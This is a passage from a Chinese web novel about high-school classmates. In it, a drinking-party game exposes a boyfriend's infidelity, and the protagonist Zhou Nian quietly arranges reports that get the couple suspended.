两人无声地僵持了很久,期间的每一秒都被黑暗和沉默拉长,江池侧身让出道,他靠在台面上安静地点了根烟。青烟在黑暗中舞成一幅画,弥漫在他周身,他把烟吹散,淡淡地说:“你走吧。” 周念真的走了,关门之前看了眼被黑暗隐匿的剪影,那个影子一动不动,像彻底融入在这座房子里的死物。 那晚江池再也没有睡着,他一根接一根地抽烟,直到一包抽完,再没什么能打发时间,他才坐回沙发,睁眼到了天亮。 第24章 第24章这种乏善可陈的游戏一般…… 十月下旬,银城终于有了入秋的迹象,太阳没那么烈了,风也失了温度,连树上的知了也学会安静了。周念站在三班门口的走廊上,看着最后一排趴在桌上大睡的徐明被叫醒,徐明顺着指引朝走廊看了眼,同周念对视后匪夷所思的挑起眉。 徐明晃悠悠地走到门口,期间打了一连串哈欠。 “找我有事?” 周念:“我的笔记本看完了吗?” “啊?” 徐明一开始还没反应过来,想了半天才记起那本一到手就搁置在角落积灰的笔记本。 “看完了看完了,我这就去拿。” 周念:“好。” 刚睡醒,徐明整个人迷迷糊糊的像在做梦,回到座位清醒大半,于是鬼主意蹭蹭往上冒。他装模作样地在抽屉里翻找,找了一会儿空手出教室。 “你看我这脑袋都给忘了,你的笔记本我放家里了。要不一会儿你跟我回家拿一趟?” 徐明小心试探着:“你肯定急了吧,我一会儿打的回去拿,你跟着我就行。” 周念礼貌地笑了笑:“没事,你明天拿来就行。” 徐明:“我明天就不来了。” 周念:“为什么?” 徐明:“我奶病了,后面一周我得在家里伺候她。” “” 真是什么幌子都敢往外撒,周念用怀疑的眼光看着他,徐明笃定她着急用笔记本,于是摆出一副无所谓的样子耸了耸肩:“我奶也真是,这时候生病。” 周念忖了忖说:“那好吧,晚自习结束我跟你去拿。” 当晚,周念同徐明上了出租车,徐明坐在副驾驶,周念坐后排。上车后徐明给了个地址。 “去老街。” 说完,他冲周念解释了句:“我家就在老街边上,小区路窄车子开不进。” 周念没作声,只是会 意点头。 车子停在老街最热闹的地段,这个点正是大排档最火爆时间,店里店外座无虚席,马路堵得水泄不通。司机临走前骂骂咧咧,大致意思是早知道停在这种鬼地方就不载了。 下车后徐明带着周念往里走了一段,走到一半,徐明忽然说道:“啧,我这脑子真健忘。” 周念深深吸了口气,心想这又是哪一出。 “我忘了今天老薛请客吃夜宵来着。” 他低头看了眼时间。 “就这个点。” 他又面露为难。 “要不这样,你跟我们一起吃吧,你这本笔记本都借我那么久了,我是应该请你吃顿饭的,算是借花献佛了。” 周念站在一旁平静地看他表演,等他演完才说:“我就不去了,里面的人我都不熟,笔记本我明天再来拿吧。” “一回生二回熟嘛,况且你这都来了好几回了。再说了,你信不信一进门是个人都叫得出你的名字。” “” “这怎么能叫不熟呢,对吧。” “再再再,再说了,你跟他们不熟,跟阿池能不熟吗。也就是我们这群人不会来事儿,要是一个个会说话,高低得叫你一声嫂子。” “” “不过话说回来,你俩到底怎么了?我就没看到阿池那么”他斟酌了会儿,寻思该用什么形容词来形容他现在的状态,萎靡,消沉,一言不发。挑来拣去他选了个最能激发女性同情心的词。 “我就没见他那么‘寻死觅活’过。” “” 周念有点后悔跟他来这儿听他说单口相声,刚想委婉拒绝就看到拐角处一对男女手挽手走来,那身影很熟悉,她等了片刻,那对男女已经走近。 赵樾发现不远处的周念连忙把挽在姜小小怀里的手抽走,低声说:“好了,别闹了,前面有人。” 姜小小望了眼周念,发现她正看着自己,于是冲她挑衅地笑笑试图去拉赵樾的手。 “有人怎么啦,我那么见不得人?” 赵樾一个抽身往边上躲了一步,语气不太好:“闹够了吗?当初怎么说的?是不是你自己答应的不公开。” 姜小小气愤地咬着唇,片刻,恢复如常娇嗔说:“好啦,我不闹就是了,那么凶干吗。” 赵樾警告说:“你别忘了,这次是你表现好,求着我带你来的,一会儿别给我露馅儿了,尤其是在周念面前。” 姜小小冷冷瞥过周念说:“我知道了。” 徐明还在喋喋不休,把江池近日的状态添油加醋的说给周念听,还没说完就听到周念应了声。 “好,我去。” “啊?” “我说我去夜宵,吃完你把笔记本还给我。” “行。” 徐明心想,这人怪变扭的,说她在意江池又假装清高不肯在一起,说她不在意反倒心疼上了。 呵,女人心海底针。 他转身看到不远处走来的赵樾,喊了声:“来啦。” 说完才发现他身边还带了个女的,看模样不像是叶琳,他远远地觑了眼,看清是姜小小后心下骂了声娘转头去看周念的表情,然而周念脸上没什么情绪,不怒不恼的。 “走吧。” 赵樾挥了挥手,泰然自若地冲周念打招呼:“呦,周老大也在啊,早知道你也在,我就把琳琳带来了。” 周念皮笑肉不笑地扯了扯唇角,随即看向姜小小。 来的路上赵樾就把借口想好了。 “别误会,我们不是一起的。刚好竞赛辅导班下课,正好老薛也叫了她就顺路过来了。” 姜小小配合着笑笑:“就是那么巧,可惜你没有一起上竞赛班,不然就是我们三个一起来了。” 四个人一同走去大排档,为了避嫌赵樾有意和徐明走在前面留两个女生跟在身后。落在最后的姜小小突然上前拍了一下周念的肩膀,待她回头,她冲她笑笑。 “我以为你周念多正经呢,还不是为了一个男人大半夜出来玩。你要浪就别披着乖乖女的衣服玩欲擒故纵,看着真叫人觉得恶心。” 周念抿着唇,没接话,只是不可查地笑了笑。 四个人停在一家叫‘沈家门小海鲜’的大排档门口,徐明拿起手机打电话,对面还没接通,角落那桌就有人朝这头喊:“阿明,这边。” 周念循声望去,这时江池不动声色地看了过来,他像平时一样手里夹了根烟,两道目光短暂相撞,他转过头去吸了口烟,毫不在意地跟边上人说笑。 桌上几人看到徐明四人的组合一时都不知道怎么开口,无数个疑问写在脸上:徐明怎么把周念带来了?赵樾带着姜小小来的?周念不是叶琳的闺蜜吗,她两对付吗? 男人没有女人那么多绕绕弯弯,也管不了对面几个的感情纠葛。今天是薛易请客,看到人来就招呼一起坐。 “周念和姜小小也来啦,坐吧坐吧,找位置坐。” 一张大圆桌满了一半,徐明本想让周念挨着江池坐,可江池边上是一对小情侣,没理由把人家拆散。另一边是宋佳月,让她让座比登天还难。于是他随意找了个椅子坐下,顺道把边上的椅子抽出。 “周念坐这儿吧。” 周念有意识地看向江池,江池没给她半个眼神,抖了抖烟灰后又吸了一口,边上有人伸出酒杯,他会意夹烟的手拿起酒杯碰杯回应,之后大半杯酒一饮而尽。 宋佳月夹在两人中间,看见周念过分直白的目光忍不住翻了个白眼,但看到江池始终臭着脸,心里多少有点痛快。她挪动椅子往前一步,挡住周念的视线。 “你怎么来了?” 语气一如既往的不友好。 “我请她来的。” 徐明伸出脑袋,眼睛有意无意地往江池身上瞟。 “不欢迎啊?” 后半句不知道是说给谁听的。 宋佳月往嘴里塞了肉,腮帮子鼓鼓的。 “欢不欢迎都来了,还能怎么办。” “嘶~” 徐明瞧不惯她这幅嘴脸。 “我说佳月你能不能收敛一点,看在我和阿池的面子上你对人家的态度也稍微的客气点行吗?” “没关系的。” 周念笑笑说:“已经够好了,起码没把我锁在哪儿。” “噗!” 宋佳月入嘴的酒水喷出一半,差点没把自己呛死。 她怎么什么都知道? 她带着疑惑和幽怨看向江池,仿佛在问:你告的秘?但这天杀的只顾抽烟,根本没理会自己。 倒是徐明一头雾水:“什么意思啊?” 宋佳月紧张地看着周念,深怕她把整件事的来龙去脉全都抖出来,不然她还哪有脸面跟这群人出来喝酒作乐。 好在周念开口前,桌上有人觉得闷了。 “玩点游戏不。” 宋佳月响应地最积极。 “玩,玩国王游戏吧。” 类似于国王游戏、真心话大冒险这种乏善可陈的游戏一般都会成为酒桌上探究八卦打发时间的好办法。 “玩呗,正好无聊。” 有人问隔壁老板要了一副扑克牌,拿到牌后根据需要抽出几张不同点数的牌。周念看着他操作,眼里露出一丝迷茫,刚好这一丝迷茫被宋佳月捕捉到。出于心虚,她向她主动示好:“你是不是不会?” 周念诚实地点了点头:“没玩过。” 宋佳月:“这游戏不需要动脑子。就是一人会分到一张牌,其中拿到‘王’的就是大王,大王可以给任意点数的人下达指令。你要是被抽中了,照做就行了。” 周念若有所思地点了点头,又问:“一般会是什么指令。” 宋佳月一脸无所谓道:“也不是什么难事儿 ,比如让男生用手给女生量胸围啊,女生用嘴给男生解衣服扣子,比如两个人吃一个苹果啊,比如男女喝个交杯酒啊。” 听完,周念沉默了。 宋佳月看她一脸被吓到的模样心中暗爽,怕了吧。 徐明哼笑一声对周念说:“别听她的,尺度没那么大。要不她都不知道被揩油揩多少回了。” 第25章 第25章只是亲阿池还得问一下周…… “拿到3点的人给身边最近的异性喂一口菜。” 第一局基本是热身赛,用徐明的话来说就是小打小闹。桌上不乏八卦心重的,一个个都在起哄。周念瞥了眼姜小小,她好像很快就融入其中,脸上堆满笑,激动的时候还会下意识地去抓赵樾的手。相较于她,赵樾就谨慎多了,躲避时肢体板硬,连嘴唇都紧张地抿唇直线。 周念极淡地笑笑,心说她真可怜。 第二局抽到王的是宋佳月,她眼神右瞟看向江池边上的牌,可这牌翻着面,他好像根本没打算去翻它。徐明压低了声提醒她:“别偷看了,速战速决。” 宋佳月讪讪一笑说:“抽中4点的人打开手机微信,公放十条和顶置人最近的聊天语音。” 徐明高挑眉毛笑说:“老手啊,还是你会玩,下手那么狠当心被别人玩死。” 宋佳月得瑟地晃动身体:“我看谁能玩死我。” 好半晌没人说话,有人坐不住了,催道:“4点呢4点,别怂啊,越怂事儿越大。” 姜小小把牌面一摊说:“是我。” 周念看见赵樾的表情有一瞬的僵硬。 姜小小眼尾扫过赵樾,轻轻一瞥,不作停留,她说:“我没有顶置。” 她把微信打开放在桌面上。 就近的薛易凑过脑袋看了眼:“没顶置就把第一个人的语音放出来呗。” 话未完,赵樾的手倏地伸了过来,却被薛易截了胡:“我来吧。” 薛易拿起手机的瞬间,姜小小和赵樾短暂地对视了一眼,姜小小在笑,而赵樾愠色难掩。 “还是我来吧。” 赵樾坐不住了,站起来想抢手机,薛易侧身一躲把手机拿远,他有点疑惑又像猜到什么。 他说:“你紧张什么?是你的手机,她的手机,怎么的她跟你聊的天?” 他这一说,在场的人都不出声了,有几个看热闹似的偷瞄周念。就连江池也用余光留意周念的动作,可她依然坐着不声不响地充当一个旁观者。 事情走向有些不可控,一群人尴尬的坐着,不催促也没说话。这时薛易边上的女人开口了:“继续啊,怎么不玩了?” 周念看了眼那女人。她的脸上涂了厚重的粉,不知道是不是刻意追求大眼效果,眼线描得很粗,阴影高光都很重,在顶棚洒下的死亡光照下整个人显得有点诡异。 薛易没动作,那女人不耐烦地推了他一把:“快呀,墨迹什么,是不是男人啊?” 薛易被这话刺激,真就打开了姜小小和赵樾的聊天记录。他们的记录基本都是语音,你一句我一句的对话形式,他数到第十条开始放。 “臭赵樾,你昨晚都快把我弄死了。” “” 要搁以前,桌上这群人指不定怎么起哄,但今天在坐的都特别安静,面面相觑,大气都不敢喘一声。原以为薛易会就此收手,没想到他还真一条条点开了。 “哼,现在找我算账了,床上怎么没见你喊停啊?” “你混蛋。” “好好好,我混蛋,下次不弄了。” “我可没说。” “呵呵。” “今晚薛易请客,你把我带去吧。” “不行,琳琳会知道的。” “你就那么怕她?她连自己都舍不得给你,你有什么可怕的,况且我就那么拿不出手吗?” “我没怕她,我跟她就那么回事儿。” 场面一度尴尬,明明应该热络的气氛现在凝结成冰。周念一直看着姜小小,这样直白的眼神当事人不可能感受不到,姜小小看着她得逞地笑着。 周念想她如愿了,她不再是暗沟里不见天日的那个了。 徐明依旧是那个打破冷场的人,他不甚在意地喝了口酒说:“快呀,下一个了,玩完了我还得回家照顾我奶呢。” 大家注意力很快被他吸引,马上就有人问他奶怎么了,他搪塞几句后游戏继续。 周念翻开牌看了眼,她是这局的王,她不动声色着看了眼赵樾。经过刚刚的事他好像不怎么在意游戏应该怎么进行,直接把牌往桌上一翻,不管不顾地喝起酒来。 桌上有人开口:“谁是王?开始了。” 周念把牌面翻开,不紧不慢地说:“数字1给叶琳打个电话。” 闻言,赵樾抖肩嗤笑,很明显这是冲着他来的。 他说:“这不太好吧,周老大也会作弊啊。” 桌上人的目光游走在两人之间,知道又是一出大戏,谁都不敢帮腔。江池看着周念不由地皱了下眉。 周念没什么表情,淡淡地说:“你玩不起吗?” 赵樾又冷冷地笑了声,破罐子破摔地打开手机说:“你信不信,你就算现在把刚才的事情都叙述一边,她还是会向我求证的,到时候我说我们在玩大冒险,事后再哄哄,她还不一定听谁的。” 周念:“是吗?” 赵樾耸了耸肩把手机推了过来:“你打。” 他按下叶琳的电话,打开扬声器,等待音响了两声被接通了。 “喂,下课啦?” 是叶琳的声音。 赵樾冲周念扬起下巴,用表情言语:你说啊。 一伙人不约而同地看向周念,猜测她到底会不会把事情经过告诉叶琳。没想到下一秒,周念直接拿出了自己手机,播放起了录音。 “臭赵樾,你昨晚都快把我弄死了。” “哼,现在找我算账了,床上怎么没见你喊停啊?” “你混蛋。” “好好好,我混蛋,下次不弄了。” “” 语音没播完,电话就被赵樾挂断了。 “周念!” 赵樾气急败坏地踹了脚边上的凳子,塑料材质的椅子飞出两米远摔在地上折断了脚。 “阿樾!” 江池警告声明显,脸色不太好看。 赵樾看看周念再转头看看江池突然笑了:“不是阿池,你没搞错吧,这女的前脚把你甩了后脚就追上来了,你看不出她在吊着你逗你玩?你现在帮她?” 江池看向周念,他很渴望她说点什么,辩解,否认都可以。但她没什么表示,轻轻地抿着唇,不解释也不否认。 “一个游戏而已,犯不着动气。” 徐明出来打圆场,他把赵樾按在椅子上,拍拍他的肩膀,低下头在他耳根低语:“周念是我请来的,看我的面子上也别闹太难堪。而且你也知道阿池对她挺上心的,你有什么想法事后再说,行不?” 说完,又冲着桌上人笑。 “继续吧,再不玩我奶都睡了,床前孝顺的时间都没了。” 桌上有人被他逗笑,附和着说:“继续继续。” 后面几轮有点变味,有了前车之鉴当‘王’的都不敢出太过分的指令,顶多就是吹一瓶酒,到街上找人搭讪要微信。周念低头看了眼时间,快十一点了。 这时,对面一男生说道:“要不玩最后一局吧,挺晚了,再不散场阿明他奶都快起床了。” 大家哄笑,徐明拿用过的纸巾扔他笑说:“说什么呢你,我奶起那么早,你来伺候她?” 东道主薛易回头看了眼墙上的时钟说:“行吧,时间也差不多了,玩最后一局,结束了早点回家。” 说完就走去结账了。 最后一轮的王是徐明,这人鬼点子多不是善茬,他煞有介事地把牌往桌上一扔:“呦,既然是最后一轮那玩点刺激的呗。” “能多刺激啊,比照顾你奶刺激不。” 大家对于徐明他奶似乎都挺执着,三句不离‘他奶’二字。 大家又笑,徐 明说:“滚蛋。” “拿到8号牌的人找个桌上最顺眼的异性。” “亲个嘴。” 周念听到宋佳月在边上冷冷地哼了声:“妈的,又有哪个女生要被占便宜了。” 这话声音不算小,刚好徐明能听到,他说:“8号要是你,你去亲阿池,指不定谁占谁的便宜呢。” 宋佳月:“你胡说什么啊!” 徐明双手合十:“开玩笑,开玩笑,姑奶奶饶了我。” 他大声说:“谁是8出来吧,艳福时间到了。” “我是8号。” 一个不熟悉的声音,大家看向那女人,宋佳月隔着周念低声问徐明:“她谁啊?” 徐明不太喜欢那女的,介绍的时候语气凉凉的:“老薛女朋友。” 宋佳月又问:“叫什么。” 徐明:“小艾。” 宋佳月:“大名?” 徐明:“舞厅名。” 宋佳月:“” 有人扫兴:“还以为能多刺激呢,既然是小艾的话,那等老薛来了你俩打个啵我们就各回各家了。” 那个叫小艾的有些诧异:“为什么要等他来,不是说在桌上找吗?他又不在桌上。” 话音一落,有人闷了声:“我去,牛逼。” 这姐们玩得真够大的,有人看热闹不嫌事儿大,眼珠子在桌上乱扫,猜测到底是哪个幸运儿被选中。 “我可以选了吗?” 小艾根本不在乎别人怎么看,她指着桌对角自问自答:“就你吧。” 周念顺着她的指向看去,江池好整以暇地看向对面,手里的烟烧得只剩下一个蒂,他把烟蒂按在桌上,单脚轻轻一蹬,身体紧贴椅背,那口在胸腔徘徊已久的烟气才慢慢从鼻腔和嘴巴吐出来。 徐明心里骂了句:我就说这女的不是什么好货。 然后笑盈盈站起来:“这不太好吧,你要选了阿池等老薛来了说都说不清啊。” 小艾一脸无所谓的模样:“所以啊,趁他还没来,我得完成下达给我的指令。我这个人不喜欢赖账包括游戏。” 桌上的人大概没见过脸皮那么厚的,所以打量的眼神不加掩饰。 “说得也对。” 徐明故作迟疑:“只是” “只是亲阿池还得问一下周念的意见。” 徐明把问题推给周念,周念愣了片刻去看江池,正好他也在看她,两人四目相对。这时刮过一阵风,顶棚的灯泡摇晃不定,围绕着的飞虫一哄而散,周念的脸在晃动的光下明暗不定,她的眼睛却清明坚定。 她说:“我不同意。” 第26章 第26章(捉虫)把钱还你,我们…… 这场游戏最终不了了之,老薛结完账回来了,见他回来小艾一把搂住他的胳膊撒娇:“你都不知道,刚刚我被王点了。” 老薛:“哦?是吗?点你什么了?” 小艾:“让我亲个男人。” 老薛呵呵笑:“那你亲了吗?” 小艾嘟起嘴:“你不在我能亲谁啊。” 说完亲昵地在他脸颊啄了一口。 徐明觉得恶心吐了口痰。 “妈的,咽喉炎犯了。” 最先离开的是赵樾和姜小小,离开前他狠狠地剜了一眼周念,周念扯了扯唇低头看手机。上面有几条微信,大概率是叶琳找自己倾诉。她没点开而是偏头看徐明。 “我的笔记本。” 他自然不可能回家去取笔记本,毕竟那玩意儿根本就不在家。徐明整理一下桌上的烟和打火机,仰头喝完剩下的酒后开始装傻充愣:“啊?什么笔记本?” 周念长长地顺了口气,总算是看明白这货装疯卖傻的本事。 “算了,你什么时候想起来什么时候给我。” “嘿嘿。” 徐明傻笑两声,看到人都散得差不多了,除了自己和周念就只剩江池和宋佳月。他扶了扶额头,醉态明显,冲宋佳月说:“小月,我醉了,送我回家。” 宋佳月不耐烦:“干嘛让我送啊,她不是也在嘛。” 说完扫了眼周念。 周念:“我送你吧。” 她起身要走,手腕被人握住。江池还坐在那儿,垂着眼睛,目光落在面前的酒杯上。 “我有话要跟你说。” 徐明把宋佳月拉开,使劲给她使眼色:你倒是走啊。宋佳月看了江池好半晌,最后咬着唇说:“我自己会走,拉我干嘛。” 两个人一个站着一个坐着,静默成定格的照片,街上的行人逐渐散去,生意不景气的店铺开始打烊,陆离的灯光灭了一半,大家各忙各的没有人注意到这个角落。 周念:“你想说什么?” 江池很想抽烟,于是松开手,点了根烟。 “那三千块是什么意思?” 下午,周念把借江池的三千块钱凑齐了转给他,他还没收。 周念:“你收一下吧,这是上次欠你的饭钱。” 江池:“为什么要现在给我。” 早不给晚不给,偏偏是这个时候。 周念吸了口气,目光自然地看向顶篷的灯泡,那灯泡瓦数不够,昏黄昏黄的,围绕着的一群飞蛾乐此不疲地扑腾翅膀。她垂眸看向江池,不知道是不是错觉,他好像瘦了。 “把钱还你,我们就两清了。” 江池短短地哼笑了声,望向她:“那你刚刚又是什么意思?你说你不同意,为什么?” 周念不躲不闪正视他的目光,她说:“我在给你台阶,也在给我台阶。” “没有其他的意思。” “你别多想。” * 一整个上午,叶琳没有出现,周念给她打了几次电话,对面没接。下午,她终于出现了,黑着一双眼整个人看起来都没什么精神。 周念没安慰人的经验,只说:“你没事吧?” 叶琳一连打了几个哈欠,不甚在意地摆摆手:“没事儿,又不是第一次了。” “” 周念:“那” 叶琳一把搭在她肩上,轻描淡写道:“哎呀,不就是被出轨了吗。放心吧,这回真死心了。” 那模样一时分不清到底是谁安慰谁。 “怪不得一天天想找我上床,原来是只种猪,什么烂菜都喜欢拱,还好老娘清醒,不然还得去医院看病。” 她边说边翻白眼,翻完眼睛酸的不得了,豆大的眼泪说掉就掉。 “我去上个厕所。” 周念知道她好面子,不愿意被人看到这狼狈样,所以仍由她去也没跟着。书包里的手机震了一下,她低头看了眼,转给江池的钱被退了回来。她又把钱转过去,信息刚出去边上多了个红色叹号——她被拉黑了。 她摒弃杂念低头作业,课间十分钟够她解一道大题,笔尖在白纸划过的一霎,门外骤然一声响:“卧槽,打起来了。” 拿笔的手顿了顿,只短短半秒,衔接上刚才的思路,周念又低头计算。 “谁打起来了?” “我班的叶琳和隔壁那个姜小小。” “” 周念赶到厕所的时候叶琳只留给她一个背影,一个衣衫不整,蓬头垢面的背影,垢不垢面不清楚,反正头发是没一根顺的。边上的姜小小也好不到哪儿去,高马尾硬是被扯成了低马尾,周念这看两人的背影,心想叶琳应该没吃多少亏。因为姜小小的腿是瘸的。 两人被带到教导处,门一关,外面的眼睛再瞟都瞟不到一点热闹看。 第二天,学校处分下来了,叶琳被记了过,三天不能返校。周念看着边上空空的座位发了会儿呆,回想起今天一早后排同学的对话。 “叶琳被记大过,姜小小什么事儿都没有。” “凭什么?” “你不知道吗?姜小小她舅是我们高三年级主任。” “真的假的?” “真的,她只要不犯法在学校里作天作地都有人护着。” 当晚,周念请假了。 晚上,姜小小和赵樾会准时参加校外的竞赛辅导班。周念没在辅导班门口 候着而是只身来到如意宾馆前。老板娘已经见过她很多次,知道她不会住店所以只是扫了眼,懒得给她摆笑脸。 她照旧走进了边上那家面馆,面馆老板娘见她来笑脸盈盈地说:“老样子?” 周念礼貌地点点头,老板娘从冰柜舀了一碗冰渣红豆汤,端到她桌上,瞥了眼桌上的试卷说:“小姑娘真用功。” 周念把试卷放正铺平,发现边上的人还没走,她不明所以地抬眼,迎着她的目光老板娘搓着围裙讪讪地说:“我家娃有道题不会做,我小学毕业就不读书了,哪能看得懂他们的题目啊。能不能帮个忙看看这题怎么搞搞。” 周念笑笑说:“可以。” “那真是谢谢你了。” 老板娘朝厨房吼了一嗓子:“强强,把你作业拿出来。” 没一会儿,厨房的帘布后面露出一双怯生生的眼睛,那眼睛溜了一圈落在周念脸上,然后小男孩拿着作业本慢吞吞地走了出来。 老板娘把小男孩往前一推:“叫姐姐。” 小男孩轻轻地喊了声:“姐姐。” 周念大方地应了声,说:“你好,哪道题不会?” 男孩把课本放在桌上,用笔头点点:“这里。” 老板娘自觉碍事就退回厨房了。 周念给小男孩解完题后看了眼手机,距离辅导班结束还有一个小时,这段时间里她可以专注做自己的事情。 九点零五分,赵樾和姜小小准时出现在宾馆门口。周念放下笔,看着两人付完钱拿着钥匙走进宾馆。约莫两分钟时间,三楼最右边的房间亮起了灯,紧接着敞开的窗户被窗帘掩实。 小男孩见她看得出神,拿笔在她眼前晃了晃:“姐姐?” 周念回过神:“嗯?” 他说:“你也想去宾馆玩吗?” 周念摇摇头,笑笑说:“没有,你快写作业吧。” 小男孩乖乖低下头写字,写了两分钟后咬着笔头抬眼。 “你如果想去玩的话我可以带你去,我很熟的。” “是吗?” 说话间周念想到什么,指着那栋楼问:“那我考考你,进门右转第一间房是几零几?” 小男孩想了想,马上说:“105。” “那105边上呢?” “当然是106咯。” “那三楼最右边那间呢?” “是308。” “确定吗?” “确定啊,我和小辣椒经常在宾馆捉迷藏,不过有时候会被看门的奶奶赶出来。” 308。 周念心中默念。 她借故走出面店,这边的房子都是典型的老破小,周围设施老旧,一排五个路灯,灭了两个,还有一个忽明忽暗苟延残喘。她看着自己的时隐时现的影子发了会儿愣。 十月下旬的夜泛着沁入的凉意,她倒吸一口凉气在心中细数房间里两人的‘罪行’。这世间不被昭示的恶行比比皆是,无人审判。欺骗、背叛、污蔑,那所有的罪证会不会以另一种形式自我反噬呢? 无人解答,无从知晓。 她低头踢了脚路边的小石子,给叶琳发去信息。 ——琳琳,好梦。 叶琳回复一个问好。 她就没再回了。 周念紧了紧外套,最后看了眼308房间,然后打了一通电话。 “你好我要举报。” ** 周念回到家第一时间去了书房,周宏伟在书桌前打报告,见她来招呼道:“回来了?” “爸。” “嗯?有事?” 周念把书包放在桌上,慢慢拉动拉链。 “你们教育局收举报信吗?” 周宏伟表情诧异:“什么意思?你们学校有什么问题吗?” 她从书包里的隔间抽出一封信放在他面前。 周宏伟依旧保持诧异表情:“你要举报?” 周念摇摇头:“不是我。” 周宏伟:“那是谁?” 周念抿了抿唇:“这我不能说。” 周宏伟垂眸看了眼信封,了然地笑笑:“是不是你同学怕老师知道了会追究,写了匿名举报信?” 周念扯了扯唇表示默认。 周宏伟把信放在一边:“害怕也正常,放心吧这件事我会处理的,你早点洗洗睡吧。” 周念望着被搁置在一边的信又说:“明天能查吗?” 周宏伟这才又看了眼信:“这么着急?” “嗯。” “行,如果属实,上面会有动作的。” 后面两天学校风平浪静。 经过了三天‘闭门思过’,叶琳终于来学校了,一进门就有人过来报喜。 “琳琳,你翻身了。” 翻身了?这叫什么话,我翻过去过吗? 叶琳把空书包往桌上一甩,抱住边上的周念。 “我想死你了。” 周念嫌她肉麻,把她推开。 “我在写卷子,别打扰我。” 叶琳努努嘴:“写写写,写成精了。” 周念:“” 后桌有人用笔戳着叶琳后背。 “琳琳,告诉你个好消息。” 叶琳转过身:“什么好消息?” “那对狗男女被停课了。” 狗男女指的是谁自然不用明说,叶琳觉得新鲜,又不太确信:“真的假的?她舅舅‘当官’的一手遮天,他们还能被停课?是做了什么伤天害理的事情啊?” “说来也巧,好像是这俩货偷偷出去开房,正好入住的宾馆被人举报卖|银。听说警察进去的时候两个人打得火热。” 后桌的男生贱嗖嗖地捂着嘴笑:“那场面想想都刺激。” 叶琳笑不出来。 那段经历不是假的,感情不是假的。她很难形容听到这个消息后的心情,难过或是遗憾,痛快或是得意。老天只给她三天时间,她没那么快释怀,以一个旁观者身份看待这件事。 “后来呢?学校知道了?” “这不废话,警察马上联系了家长和学校。” “她舅舅不管吗?” “她舅倒是想管,可惜了,事情发生第二天他舅就被人举报校外补课,被教育局查了。” “那么巧?” “谁说不是呢?” “我跟你说,听说这次影响很不好,搞不好这两人会被开除。” 叶琳一时消化不了这突如其来的‘喜讯’,现在说它是喜讯并不确切,但多年后回想起来确实是件令人解气的大喜讯。她缓缓转过身用手指点点周念胳膊。 “你也听说了?” 周念的题解得丝滑,不想被人打扰,态度敷衍:“不太了解。” 第27章 第27章其实你想看我水下倒立可…… 周日,天气晴朗,万里无云。 难得的好天气。 周念和张宁在家里大扫除,起初张宁不想让周念帮忙,奈何身体欠佳,活干了两三分钟头就晕的不得了。没法,只得同意她一起收拾。 周念取出柜子里的被芯闻了闻,一股淡淡的阴潮霉味,她把被芯拿去露台晒。露台的护栏上趴卧着一只灰色小野猫,周念冲它叫了声:“小灰?咪咪?” 小猫似是回应,软糯地舔足喵了一声。 张宁听到这头动静举着苕帚走到露台,陌生气息靠近,小猫警觉地站立,吊高着尾巴汗毛竖起。 “哪儿来的野猫,脏死了。” 张宁朝着小猫的方向虚晃苕帚,小猫蹬腿一跳跑了。 周念把被芯晾起,用衣架拍打,充足的日光下粉尘漫天,她挥手驱赶时莫名地想到了江池。他一个人住,会不会偶尔晒晒被子或者整理整理衣柜。 她又想起那间空空如也的厨房,于是给出答案,应该不会,会也是钟点工做的。回忆很奇妙,明明只是开了一道渠,却跟着涌出大江大河,关于那间厨房的所有记忆都如面前的粉尘曝晒在阳光之下。 她记得关门的前一秒,江池还在抽烟,烟雾弥漫,他就像是一只正在作茧的蚕,萎靡、消沉、颓然把自己禁锢在方寸之地。 周念收起回忆低头笑了笑,笑她居然会对江池产生这种类似于同情的情绪,她放眼去看远处的树,这是江池把自己拉黑的第几天了? 中午,周念和张宁在家随意对付了几口,期间,张宁询问了她的学习状况,周念如实 回答,以她现在的学习状态和能力没必要隐瞒什么。之后又旁敲侧击地问了些感情方面的问题,她也一一应付过去。 吃完饭,周念在床上小憩了会儿,她没有午睡的习惯,闭眼半天都没睡着于是干脆起来复习。着笔的一瞬,她似乎想到什么,偏头去看窗外的树,郁郁葱葱的没有半点枯黄掉落的趋势。 今天天气真不错,她再一次感慨。 她把笔放下转而伸手去摸桌边的手机,通讯录里没几个电话,手一划就划到林川的名字。林川接电话的语气有些惊讶。 “周念?” 周念的目光虚焦在密密麻麻的笔记上,她笑笑说:“今天有空吗?” 对面的声音很杂乱,喧闹的人声里有球体规律落地的声音。林川调高音量说:“你说什么?” “我说今天天气不错,要不要一起去游泳?” 对面的喧嚣突然消失了,林川再一次说话时,声音很空旷,猜的没错的话应该是进了洗手间。 “好呀。” 他笑声爽朗:“你终于有空去游泳馆了?你总拒绝,我以为你不想去了。” 她说:“城南老游泳馆?” 林川:“嗯,行,那一个小时候后,我们老游泳馆见。” 周念:“好,再见。” 周念把泳衣泳帽用塑料袋装好放进书包,这会儿张宁已经休息了,她在她卧室门口站了会儿,犹豫过后走了。虽然那么多年下来对于张宁的怀疑她都处理的游刃有余,但周旋过程难免煎熬。 两人到达时间相差无几,已经是十月下旬,周念穿着长衣长裤反观林川,无袖上衣搭配过膝短裤。 周念问:“你不冷吗?” “不冷啊?” 林川一脸不可思议:“今天有20度,怎么会冷呢?” 经他一说,周念突然觉得这日头确实过晒了,她看了下时间才十二点半,于是又问:“饭吃了吗?” 贸贸然把人请出来,理应寒暄几句。 林川咧嘴笑说:“没吃过,你要请我吃饭吗?” 周念四下环顾一圈,游泳馆位置不错,四通八达。虽然高档饭店不多,但饱腹的小食店不少。她指着一条小巷说:“找家店,我请你。” 林川选了一家东北饺子店,他找了个座位乖乖地坐着,眼睛直勾勾地盯着周念,似乎在等她点菜。 菜单在墙上,周念扫视一圈回头问他:“你要吃什么口味的?” 林川:“我可以每种都来点吗?” 周念:“可以。” 林川:“那就每种都来点吧,我要五十个。” “” 周念难得惊讶:“你要多少?” 林川无辜的眨眨眼:“五十,我吃得下。” “” 周念握了握口袋里的散币走到后厨窗口,语气多少带点力不从心。 “五十个水饺,口味各来一点。” 水饺被叠成两座大山,老板把其中一份放在周念面前,周念看着几欲滑落下来的水饺皱了皱眉,小心翼翼地将其推到林川面前。 林川一口一个,十几个下肚才抬眼看着周念。 “你不吃?” 周念:“我吃过了。” 说罢,从书包里拿出一本笔记本,那是一本英语笔记本,上面是密密麻麻的短语。 林川看了眼,笑说:“你太夸张了。” 周念配合笑了笑,没反驳。 林川又说:“其实没必要这样,给自己适当的休息时间,劳逸结合会更好。” 说着就要伸手过来拿书,周念看清他的意图,把书往后缩了缩反问道:“那你平时在干嘛?” “我?” 林川僵住,伸来的手顺势挠了挠后脑。 